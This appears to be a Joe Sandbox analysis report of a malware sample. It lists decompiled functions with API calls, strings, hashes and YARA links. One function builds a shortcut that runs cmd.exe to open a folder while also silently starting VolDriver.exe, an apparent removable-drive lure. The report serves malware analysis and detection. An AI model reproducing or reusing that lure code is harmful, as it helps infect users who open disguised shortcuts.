                                                                                                                                                                                                                                                                                                                                                      0x004078b0
                                                                                                                                                                                                                                                                                                                                                      0x004078cc
                                                                                                                                                                                                                                                                                                                                                      0x004078d5
                                                                                                                                                                                                                                                                                                                                                      0x004078d8
                                                                                                                                                                                                                                                                                                                                                      0x004078ee
                                                                                                                                                                                                                                                                                                                                                      0x0040790a
                                                                                                                                                                                                                                                                                                                                                      0x00407913
                                                                                                                                                                                                                                                                                                                                                      0x00407916
                                                                                                                                                                                                                                                                                                                                                      0x00407922

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: _allshl_aullshr
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 673498613-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 8ea7b64097fb68af6753185209a0c413dd0031376398f2c807c5146dc0d87a2e
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: bef6b3becddf45f5f10f82a1f07111f5e31d231ee21e8a1fad85fa2f62557b61
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 8ea7b64097fb68af6753185209a0c413dd0031376398f2c807c5146dc0d87a2e
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: AC1151325145186B9B10EF5EC4826CABBD6EF843A0B14C136FC2CCF319D634D9518BD4
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00404CE0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94comCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 54%
                                                                                                                                                                                                                                                                                                                                                      			E00404CE0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				short _v540;
				char* _t37;
				intOrPtr _t42;

				__imp__CoInitialize(0);
				_t37 =  &_v12;
				__imp__CoCreateInstance(0x410330, 0, 1, 0x410320, _t37);
				_v8 = _t37;
				if(_v8 >= 0 && _v12 != 0) {
					wsprintfW( &_v540, L"/c start .\\%s & start .\\%s\\VolDriver.exe", 0x41411c, 0x41411c);
					 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x50))))(_v12, L"%windir%\\System32\\cmd.exe");
					_t42 =  *_v12;
					_t13 = _t42 + 0x44; // 0xffed0c85
					 *((intOrPtr*)( *_t13))(_v12, _a8, _a12);
					 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x3c))))(_v12, 7);
					 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x2c))))(_v12,  &_v540);
					_v8 =  *((intOrPtr*)( *((intOrPtr*)( *_v12))))(_v12, 0x410340,  &_v16);
					if(_v8 >= 0 && _v16 != 0) {
						 *((intOrPtr*)( *((intOrPtr*)( *_v16 + 0x18))))(_v16, _a4, 1);
						 *((intOrPtr*)( *((intOrPtr*)( *_v16 + 8))))(_v16);
					}
					return  *((intOrPtr*)( *((intOrPtr*)( *_v12 + 8))))(_v12);
				}
				return _t37;
			}









                                                                                                                                                                                                                                                                                                                                                      0x00404ceb
                                                                                                                                                                                                                                                                                                                                                      0x00404cf1
                                                                                                                                                                                                                                                                                                                                                      0x00404d03
                                                                                                                                                                                                                                                                                                                                                      0x00404d09
                                                                                                                                                                                                                                                                                                                                                      0x00404d10
                                                                                                                                                                                                                                                                                                                                                      0x00404d36
                                                                                                                                                                                                                                                                                                                                                      0x00404d50
                                                                                                                                                                                                                                                                                                                                                      0x00404d5d
                                                                                                                                                                                                                                                                                                                                                      0x00404d63
                                                                                                                                                                                                                                                                                                                                                      0x00404d66
                                                                                                                                                                                                                                                                                                                                                      0x00404d76
                                                                                                                                                                                                                                                                                                                                                      0x00404d8b
                                                                                                                                                                                                                                                                                                                                                      0x00404da3
                                                                                                                                                                                                                                                                                                                                                      0x00404daa
                                                                                                                                                                                                                                                                                                                                                      0x00404dc4
                                                                                                                                                                                                                                                                                                                                                      0x00404dd2
                                                                                                                                                                                                                                                                                                                                                      0x00404dd2
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00404de0
                                                                                                                                                                                                                                                                                                                                                      0x00404de5

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • CoInitialize.OLE32(00000000), ref: 00404CEB
                                                                                                                                                                                                                                                                                                                                                      • CoCreateInstance.OLE32(00410330,00000000,00000001,00410320,?), ref: 00404D03
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00404D36
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      • /c start .\%s & start .\%s\VolDriver.exe, xrefs: 00404D2A
                                                                                                                                                                                                                                                                                                                                                      • %windir%\System32\cmd.exe, xrefs: 00404D3F
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CreateInitializeInstancewsprintf
                                                                                                                                                                                                                                                                                                                                                      • String ID: %windir%\System32\cmd.exe$/c start .\%s & start .\%s\VolDriver.exe
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2038452267-2473591295
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: c827c54ba181ebdc5ccbdba5ca5e0ecd641aa0d25442cd6d674f17fa5b22de3c
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: f00becdefc90cfbf17efeaf49e2251ef219d43fc4a4b80fc3024d4bdfac9fe3b
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c827c54ba181ebdc5ccbdba5ca5e0ecd641aa0d25442cd6d674f17fa5b22de3c
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8031B879A40108BFCB04DF98C885FDEB7B5EF88704F208199E619A73A1D774AE81CB54
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040BCC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 47COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E0040BCC0(char _a4) {
				char _v8;
				signed int _v12;
				void* _t20;

				if(_a4 != 0) {
					_v8 = _a4;
					_t4 =  &_v8; // 0x40eb74
					EnterCriticalSection( *_t4 + 4);
					_v12 = 0;
					while(1) {
						_t8 =  &_v8; // 0x40eb74
						if(_v12 >=  *((intOrPtr*)( *_t8))) {
							break;
						}
						_t10 =  &_v8; // 0x40eb74
						CloseHandle( *( *((intOrPtr*)( *_t10 + 0x1c)) + _v12 * 4));
						_v12 = _v12 + 1;
					}
					_t15 =  &_v8; // 0x40eb74
					LeaveCriticalSection( *_t15 + 4);
					_t16 =  &_v8; // 0x40eb74
					DeleteCriticalSection( *_t16 + 4);
					_t17 =  &_v8; // 0x40eb74
					E00408B60( *((intOrPtr*)( *_t17 + 0x1c)));
					return E00408B60(_a4);
				}
				return _t20;
			}






                                                                                                                                                                                                                                                                                                                                                      0x0040bcca
                                                                                                                                                                                                                                                                                                                                                      0x0040bccf
                                                                                                                                                                                                                                                                                                                                                      0x0040bcd2
                                                                                                                                                                                                                                                                                                                                                      0x0040bcd9
                                                                                                                                                                                                                                                                                                                                                      0x0040bcdf
                                                                                                                                                                                                                                                                                                                                                      0x0040bcf1
                                                                                                                                                                                                                                                                                                                                                      0x0040bcf1
                                                                                                                                                                                                                                                                                                                                                      0x0040bcf9
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040bcfb
                                                                                                                                                                                                                                                                                                                                                      0x0040bd08
                                                                                                                                                                                                                                                                                                                                                      0x0040bcee
                                                                                                                                                                                                                                                                                                                                                      0x0040bcee
                                                                                                                                                                                                                                                                                                                                                      0x0040bd10
                                                                                                                                                                                                                                                                                                                                                      0x0040bd17
                                                                                                                                                                                                                                                                                                                                                      0x0040bd1d
                                                                                                                                                                                                                                                                                                                                                      0x0040bd24
                                                                                                                                                                                                                                                                                                                                                      0x0040bd2a
                                                                                                                                                                                                                                                                                                                                                      0x0040bd31
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040bd42
                                                                                                                                                                                                                                                                                                                                                      0x0040bd48

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • EnterCriticalSection.KERNEL32(t@), ref: 0040BCD9
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(t@), ref: 0040BD08
                                                                                                                                                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(t@), ref: 0040BD17
                                                                                                                                                                                                                                                                                                                                                      • DeleteCriticalSection.KERNEL32(t@), ref: 0040BD24
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CriticalSection$CloseDeleteEnterHandleLeave
                                                                                                                                                                                                                                                                                                                                                      • String ID: t@
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3102160386-2916730932
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: a1ab745fad7501da37c197aae5d53699fda19d380a66c4ee372e72496f571e27
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 2cc5e102500f812b51bf30b22b1833369305ce7f6dc2cc51e54c9f5ca9737bcf
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a1ab745fad7501da37c197aae5d53699fda19d380a66c4ee372e72496f571e27
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: BB110CB4900208EFDB04DFA4D994A9DB7B5FF44309F2081A9E80667341DB39EE91DB99
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00407460 Relevance: 7.5, APIs: 5, Instructions: 48COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 46%
                                                                                                                                                                                                                                                                                                                                                      			E00407460(signed int __edx, signed int _a4, signed int _a8, signed int _a12, signed int _a16, signed int _a20, signed int _a24) {
				signed int _v8;
				signed int _v12;

				asm("cdq");
				L0040ECEE();
				asm("cdq");
				L0040ECEE();
				asm("cdq");
				L0040ECEE();
				asm("cdq");
				L0040ECEE();
				asm("cdq");
				L0040ECEE();
				asm("cdq");
				_v12 = _a4 | _a8 | _a12 | _a16 | _a20 | _a24;
				_v8 = __edx | __edx | __edx | __edx | __edx | __edx;
				return _v12;
			}





                                                                                                                                                                                                                                                                                                                                                      0x0040746b
                                                                                                                                                                                                                                                                                                                                                      0x0040746e
                                                                                                                                                                                                                                                                                                                                                      0x0040747a
                                                                                                                                                                                                                                                                                                                                                      0x0040747d
                                                                                                                                                                                                                                                                                                                                                      0x00407489
                                                                                                                                                                                                                                                                                                                                                      0x0040748c
                                                                                                                                                                                                                                                                                                                                                      0x00407498
                                                                                                                                                                                                                                                                                                                                                      0x0040749b
                                                                                                                                                                                                                                                                                                                                                      0x004074a7
                                                                                                                                                                                                                                                                                                                                                      0x004074aa
                                                                                                                                                                                                                                                                                                                                                      0x004074b6
                                                                                                                                                                                                                                                                                                                                                      0x004074bb
                                                                                                                                                                                                                                                                                                                                                      0x004074be
                                                                                                                                                                                                                                                                                                                                                      0x004074cc

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: _allshl
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 435966717-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: d51c0cfb7cecbe22f3a005448584aa28a11641046ad401d5bf26070a09b22ed4
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: c834da27c38f1d1587680a3d7542820723786c9711e1151820a3c1e6e334eb45
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d51c0cfb7cecbe22f3a005448584aa28a11641046ad401d5bf26070a09b22ed4
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 51F03172905428AB9710EEEF84424CAF7E6AF883A4B118576F818E3360E9719D1146F2
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040DBF0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38synchronizationCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E0040DBF0(intOrPtr* __ebx, void* __edi) {
				void* _t8;
				intOrPtr* _t18;
				intOrPtr _t23;
				intOrPtr _t26;
				void* _t28;

				_t18 = __ebx;
				if(__ebx != 0 &&  *__ebx == 0x756470) {
					SetEvent( *(__ebx + 0x10));
					WaitForSingleObject( *(__ebx + 0x14), 0xffffffff);
					CloseHandle( *(__ebx + 0x14));
					_t26 =  *((intOrPtr*)(__ebx + 0x20));
					if(_t26 == 0) {
						L6:
						E004094F0( *((intOrPtr*)(_t18 + 8)));
						return E00408B60(_t18);
					}
					do {
						E00408B60( *((intOrPtr*)(_t26 + 0x18)));
						_t23 =  *((intOrPtr*)(_t26 + 0x1c));
						E00408B60(_t26);
						_t28 = _t28 + 8;
						_t26 = _t23;
					} while (_t23 != 0);
					goto L6;
				}
				return _t8;
			}








                                                                                                                                                                                                                                                                                                                                                      0x0040dbf0
                                                                                                                                                                                                                                                                                                                                                      0x0040dbf2
                                                                                                                                                                                                                                                                                                                                                      0x0040dc01
                                                                                                                                                                                                                                                                                                                                                      0x0040dc0d
                                                                                                                                                                                                                                                                                                                                                      0x0040dc17
                                                                                                                                                                                                                                                                                                                                                      0x0040dc1d
                                                                                                                                                                                                                                                                                                                                                      0x0040dc22
                                                                                                                                                                                                                                                                                                                                                      0x0040dc41
                                                                                                                                                                                                                                                                                                                                                      0x0040dc45
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040dc53
                                                                                                                                                                                                                                                                                                                                                      0x0040dc25
                                                                                                                                                                                                                                                                                                                                                      0x0040dc29
                                                                                                                                                                                                                                                                                                                                                      0x0040dc2e
                                                                                                                                                                                                                                                                                                                                                      0x0040dc32
                                                                                                                                                                                                                                                                                                                                                      0x0040dc37
                                                                                                                                                                                                                                                                                                                                                      0x0040dc3a
                                                                                                                                                                                                                                                                                                                                                      0x0040dc3c
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040dc40
                                                                                                                                                                                                                                                                                                                                                      0x0040dc54

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • SetEvent.KERNEL32(?,?,0040DCE5,?,?,0040BE0E,00000000), ref: 0040DC01
                                                                                                                                                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(?,000000FF,?,0040DCE5,?,?,0040BE0E,00000000), ref: 0040DC0D
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(?,?,0040DCE5,?,?,0040BE0E,00000000), ref: 0040DC17
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00408B60: HeapFree.KERNEL32(02190000,00000000,00401192,?,00401192,?), ref: 00408BBB
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CloseEventFreeHandleHeapObjectSingleWait
                                                                                                                                                                                                                                                                                                                                                      • String ID: pdu
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 309973729-2320407122
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 80331d250e21d497f1dcb27dae2f0d28f8c42b27a24d75e5b6f737afb698332b
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 34e35511c2eb274b118701d3934c81f7f6e0c7c0513ff925c9eef8893f918f8e
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 80331d250e21d497f1dcb27dae2f0d28f8c42b27a24d75e5b6f737afb698332b
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 52F0C8B28042109BCB24AFA5EC84D5777789E84321304466EFC457738ACA7CEC8AC7A8
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040E920 Relevance: 6.1, APIs: 4, Instructions: 73networkCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 29%
                                                                                                                                                                                                                                                                                                                                                      			E0040E920(char _a4) {
				long _v4;
				struct _OVERLAPPED* _v8;
				long _v12;
				void* __ebx;
				signed int _t31;
				signed int _t32;
				signed int _t36;
				struct _OVERLAPPED* _t38;
				long _t43;
				char _t51;
				struct _OVERLAPPED* _t52;
				long* _t54;

				_t54 =  &_v12;
				_t51 = _a4;
				_t52 = 0;
				_v4 = 0;
				_v12 = 0;
				_v8 = 0;
				_t31 = GetQueuedCompletionStatus( *(_t51 + 8),  &_v4,  &_v12,  &_v8, 0xffffffff);
				_t43 = _v12;
				_t32 = _t31 & 0xffffff00 | _t31 != 0x00000000;
				if(_t43 == 0) {
					return _t32;
				}
				do {
					if(_t32 == 0) {
						_t38 =  *((intOrPtr*)(_t43 + 0x260));
						__imp__WSAGetOverlappedResult(_t38, _v8,  &_v4, 0,  &_a4);
						if(_t38 == 0) {
							__imp__#111();
							_t52 = _t38;
						}
					}
					_push(_t52);
					E0040E730(_v8, _v4, _v12);
					_t54 =  &(_t54[1]);
					_t52 = 0;
					_v4 = 0;
					_v12 = 0;
					_v8 = 0;
					_t36 = GetQueuedCompletionStatus( *(_t51 + 8),  &_v4,  &_v12,  &_v8, 0xffffffff);
					_t43 = _v12;
					_t32 = _t36 & 0xffffff00 | _t36 != 0x00000000;
				} while (_t43 != 0);
				return _t32;
			}















                                                                                                                                                                                                                                                                                                                                                      0x0040e920
                                                                                                                                                                                                                                                                                                                                                      0x0040e92c
                                                                                                                                                                                                                                                                                                                                                      0x0040e943
                                                                                                                                                                                                                                                                                                                                                      0x0040e947
                                                                                                                                                                                                                                                                                                                                                      0x0040e94b
                                                                                                                                                                                                                                                                                                                                                      0x0040e94f
                                                                                                                                                                                                                                                                                                                                                      0x0040e953
                                                                                                                                                                                                                                                                                                                                                      0x0040e955
                                                                                                                                                                                                                                                                                                                                                      0x0040e95b
                                                                                                                                                                                                                                                                                                                                                      0x0040e960
                                                                                                                                                                                                                                                                                                                                                      0x0040e9df
                                                                                                                                                                                                                                                                                                                                                      0x0040e9df
                                                                                                                                                                                                                                                                                                                                                      0x0040e963
                                                                                                                                                                                                                                                                                                                                                      0x0040e965
                                                                                                                                                                                                                                                                                                                                                      0x0040e977
                                                                                                                                                                                                                                                                                                                                                      0x0040e97f
                                                                                                                                                                                                                                                                                                                                                      0x0040e987
                                                                                                                                                                                                                                                                                                                                                      0x0040e989
                                                                                                                                                                                                                                                                                                                                                      0x0040e98f
                                                                                                                                                                                                                                                                                                                                                      0x0040e98f
                                                                                                                                                                                                                                                                                                                                                      0x0040e987
                                                                                                                                                                                                                                                                                                                                                      0x0040e99d
                                                                                                                                                                                                                                                                                                                                                      0x0040e99e
                                                                                                                                                                                                                                                                                                                                                      0x0040e9a3
                                                                                                                                                                                                                                                                                                                                                      0x0040e9b9
                                                                                                                                                                                                                                                                                                                                                      0x0040e9bd
                                                                                                                                                                                                                                                                                                                                                      0x0040e9c1
                                                                                                                                                                                                                                                                                                                                                      0x0040e9c5
                                                                                                                                                                                                                                                                                                                                                      0x0040e9c9
                                                                                                                                                                                                                                                                                                                                                      0x0040e9cb
                                                                                                                                                                                                                                                                                                                                                      0x0040e9d1
                                                                                                                                                                                                                                                                                                                                                      0x0040e9d4
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 0040E953
                                                                                                                                                                                                                                                                                                                                                      • WSAGetOverlappedResult.WS2_32(?,?,?,00000000,?), ref: 0040E97F
                                                                                                                                                                                                                                                                                                                                                      • WSAGetLastError.WS2_32 ref: 0040E989
                                                                                                                                                                                                                                                                                                                                                      • GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 0040E9C9
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CompletionQueuedStatus$ErrorLastOverlappedResult
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2074799992-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 6da1ce7f46fb863236e48e893a6ceab4b9b81355985aefd3791b161fb3111dc5
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 7f1c776af9128501d29cee4705a2b1b4ad1ba36568f1778bb86837a4d66991df
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6da1ce7f46fb863236e48e893a6ceab4b9b81355985aefd3791b161fb3111dc5
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 272131B15083119BC200CF5AD880D5BB7E8BFDCB54F044A2EF598A3250D734EA49CBAA
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040E620 Relevance: 6.1, APIs: 4, Instructions: 59networksleepCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • WSARecv.WS2_32(?,00000224,00000001,?,00000208,00000208,00000000), ref: 0040E658
                                                                                                                                                                                                                                                                                                                                                      • WSAGetLastError.WS2_32(?,00000000), ref: 0040E660
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32(00000001,?,00000000), ref: 0040E676
                                                                                                                                                                                                                                                                                                                                                      • WSARecv.WS2_32(?,00000224,00000001,?,?,00000208,00000000), ref: 0040E69C
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Recv$ErrorLastSleep
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3668019968-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 9530c240e4a3e352d19c5aeebbb657e3a3f3c72e1663e8e959b44b44f9a6eaee
